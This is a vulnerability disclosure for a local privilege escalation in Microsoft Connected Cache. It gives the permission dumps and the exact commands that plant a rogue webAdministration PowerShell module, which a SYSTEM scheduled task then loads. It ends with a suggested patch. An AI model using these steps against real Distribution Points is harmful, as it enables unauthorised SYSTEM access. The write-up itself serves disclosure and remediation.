Microsoft Connected Cache Local Privilege Escalation

Summary

Tested Versions

Endpoint Configuration Manager version: 2103
Site version: 5.00.9049.1000
Connected Cache version: 1.5.4.1512 (?)
Site installed on Windows Server 2019 (10.0.17763.2366)

Description

Microsoft Connected Cache is vulnerable to a local privilege escalation issue. A low privileged user can execute an arbitrary powershell script as NT AUTHORITY\SYSTEM due to improper file permission assignment (see CWE-732). The vulnerability would likely be scored as a CVSSv3 7.8.

Background

Connected Cache is a sub-component of a Distribution Point. The Distribution Point is a system that hosts content that Endpoint Configuration Manager (the artist formerly known as SCCM) pushes down to clients. When you have a large user base, using external / dedicated Sites as Distribution Points makes sense for availability / load balancing reasons.

Distribution Points can enabled Connected Cache in order to cache the distributed content locally. The obvious benefit is that the content, when cached, is likely closer to the user base and removes redundant WAN traffic. How widely is this used? I can't rightfully say, but some basic googling suggests it's fairly standard when deploying a Distribution Point (it's literally a radio button in the Site creation).

Some Thoughts on Exploitation for Internal Discussion Only

I think a reasonable question is, "How would an attacker become a low privileged user in a Distribution Point system?" The Distribution Point certainly has an attack surface an attacker can abuse: WMI and IIS are required components. Also, it's likely to be joined to the AD with the potential of RDP being enabled (since "Remote View" is a feature of Configuration Manager). Of course, this is just theoritical thinking about real world attacks. But hopefully colors a little about where we are (lost at sea with an lpe), and where we want to be (remote ce/file drop -> lpe -> system), and is not necessarily important to understand the vulnerability itself.

Exploit Details

Connected Cache installs a small part of itself in C:\Doinc\.

C:\>dir /s /b C:\Doinc\
C:\Doinc\Product
C:\Doinc\Product\Install
C:\Doinc\Product\Install\Logs
C:\Doinc\Product\Install\Tasks
C:\Doinc\Product\Install\Tasks\CacheNodeKeepAlive.ps1
C:\Doinc\Product\Install\Tasks\Maintenance.ps1
C:\Doinc\Product\Install\Tasks\SetDrivesToHealthy.ps1

Above you can see that there are powershell scripts within the subdirectories of C:\Doinc\. Low priviliged users only have read and execute permissions on these files. (Note that NT AUTHORITY\NETWORK SERVICE has full access which is technically problematic but let's focus on low privileged users).

C:\Doinc\Product\Install\Tasks>icacls *.ps1
CacheNodeKeepAlive.ps1 NT AUTHORITY\SYSTEM:(I)(F)
                       NT AUTHORITY\NETWORK SERVICE:(I)(F)
                       BUILTIN\Administrators:(I)(F)
                       BUILTIN\Users:(I)(RX)

Maintenance.ps1 NT AUTHORITY\SYSTEM:(I)(F)
                NT AUTHORITY\NETWORK SERVICE:(I)(F)
                BUILTIN\Administrators:(I)(F)
                BUILTIN\Users:(I)(RX)

SetDrivesToHealthy.ps1 NT AUTHORITY\SYSTEM:(I)(F)
                       NT AUTHORITY\NETWORK SERVICE:(I)(F)
                       BUILTIN\Administrators:(I)(F)
                       BUILTIN\Users:(I)(RX)

Successfully processed 3 files; Failed processing 0 files

These powershell scripts are all signed. That sort of matters for Windows Server since, I believe, the default execution policy for powershell scripts is "RemoteSigned", but regardless. Low privileged users cannot edit the scripts anyway.

The scripts are executed every 60 seconds by the Task Scheduler. The scripts are executed as NT AUTHORITY\SYSTEM. All that is fine. The following part is where trouble begins. This is how SetDrivesToHealthy.ps1 starts:

try
{  
    import-module 'webAdministration'

    $error.clear()

When SetDrivesToHealthy.ps1 executes, it attempts to load the webAdministration module. The first place it looks is C:\Doinc\Product\Install\Tasks\WindowsPowerShell\Modules\webAdministration\. As we saw above, this directory doesn't exist. And while low privileged users can't modify the powershell scripts, they can add subdirectories and files to C:\Doinc\Product\Install\Tasks\:

C:\Doinc\Product\Install>icacls ./Tasks/
./Tasks/ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
         NT AUTHORITY\NETWORK SERVICE:(I)(OI)(CI)(F)
         BUILTIN\Administrators:(I)(OI)(CI)(F)
         BUILTIN\Users:(I)(OI)(CI)(RX)
         BUILTIN\Users:(I)(CI)(AD)
         BUILTIN\Users:(I)(CI)(WD)
         CREATOR OWNER:(I)(OI)(CI)(IO)(F)

So an attacker can place their own webAdministration module that SetDrivesToHealthy.ps1 will execute. Below the attacker creates the directory structure and echoes a powershell script that creates the file C:\lol.

C:\Doinc\Product\Install\Tasks>dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 3073-81A6

 Directory of C:\

01/04/2022  05:01 PM    <DIR>          Doinc
01/04/2022  05:15 PM    <DIR>          DOINC-E77D08D0-5FEA-4315-8C95-10D359D59294
01/04/2022  03:48 PM    <DIR>          inetpub
07/07/2021  04:05 AM    <DIR>          PerfLogs
01/05/2022  09:29 AM    <DIR>          Program Files
01/05/2022  09:29 AM    <DIR>          Program Files (x86)
01/05/2022  09:16 AM    <DIR>          SCCMContentLib
01/05/2022  09:15 AM    <DIR>          SMSPKGC$
01/05/2022  09:17 AM    <DIR>          SMSSIG$
01/05/2022  09:17 AM    <DIR>          SMS_DP$
01/04/2022  05:04 PM    <DIR>          Users
01/04/2022  03:48 PM    <DIR>          Windows
               0 File(s)              0 bytes
              12 Dir(s)  239,837,327,360 bytes free

C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell

C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell\Modules\

C:\Doinc\Product\Install\Tasks>mkdir WindowsPowerShell\Modules\webAdministration\

C:\Doinc\Product\Install\Tasks>echo New-Item C:\lol.txt > WindowsPowerShell\Modules\webAdministration\webAdministration.psm1

C:\Doinc\Product\Install\Tasks>dir C:\
 Volume in drive C has no label.
 Volume Serial Number is 3073-81A6

 Directory of C:\

01/04/2022  05:01 PM    <DIR>          Doinc
01/04/2022  05:15 PM    <DIR>          DOINC-E77D08D0-5FEA-4315-8C95-10D359D59294
01/04/2022  03:48 PM    <DIR>          inetpub
01/05/2022  01:49 PM                 0 lol.txt
07/07/2021  04:05 AM    <DIR>          PerfLogs
01/05/2022  09:29 AM    <DIR>          Program Files
01/05/2022  09:29 AM    <DIR>          Program Files (x86)
01/05/2022  09:16 AM    <DIR>          SCCMContentLib
01/05/2022  09:15 AM    <DIR>          SMSPKGC$
01/05/2022  09:17 AM    <DIR>          SMSSIG$
01/05/2022  09:17 AM    <DIR>          SMS_DP$
01/04/2022  05:04 PM    <DIR>          Users
01/04/2022  03:48 PM    <DIR>          Windows
               1 File(s)              0 bytes
              12 Dir(s)  239,836,917,760 bytes free

C:\Doinc\Product\Install\Tasks>icacls C:\lol.txt
C:\lol.txt NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Administrators:(I)(F)
           BUILTIN\Users:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

C:\Doinc\Product\Install\Tasks>

The attack is not limited to creating a file. That simply demonstrates the attacker has escalated privileges.

Suggested Patch

A somewhat obvious fix is to prevent low privileged users from modifying the C:\Doinc\Product\Install\Tasks directory. NETWORK SERVICE also should not have full right to the directory as NETWORK SERVICE to SYSTEM is also a privilege escalation.

jbaines-r7/ms_cc_lpe.md